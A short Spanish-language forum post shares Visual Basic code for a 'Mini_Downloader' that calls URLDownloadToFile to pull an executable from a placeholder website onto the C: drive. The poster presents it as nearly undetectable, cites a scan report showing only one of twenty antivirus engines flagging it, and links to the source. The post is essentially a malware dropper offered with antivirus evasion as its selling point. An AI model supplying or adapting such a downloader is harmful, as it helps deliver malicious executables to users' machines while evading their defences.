Obviamente el codigo no es mio 
Lei por muchos lados que esto ya era detectado por los antivirus.
pero yo hice un programa con este codigo y Casi indetectable.
Solamente lo detecta el Fprot6

Lo meten al form y agregan un boton "cmdDownload" para que baje o sino lo ponen como quiera

'Funcion para bajar archivo
Private Declare Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, ByVal szFileName As String, _
    ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
 
Private Sub cmdDownload_Click()
    ' Bajar el Archivo
    URLDownloadToFile 0, _
        "www.tusitioweb.com/tuarchivo.exe", _
        "C:\Tuarchivo.exe", 0, 0
End Sub
 

File Info

Report date: 2010-04-16 23:52:42 (GMT 1)
File name: Mini_Downloader.exe
File size: 16384 bytes
MD5 Hash: e6377d5a23422abc8984eda961e2c1c4
SHA1 Hash: 95fdd84d8dca03d65254b8268691af52efbe36b7
Detection rate: 1 on 20 (5%)
Status: INFECTED
Ver reporte completo

SOURCE:
Descargar Source

PD: no he podido encontrar como adjuntar archivos al post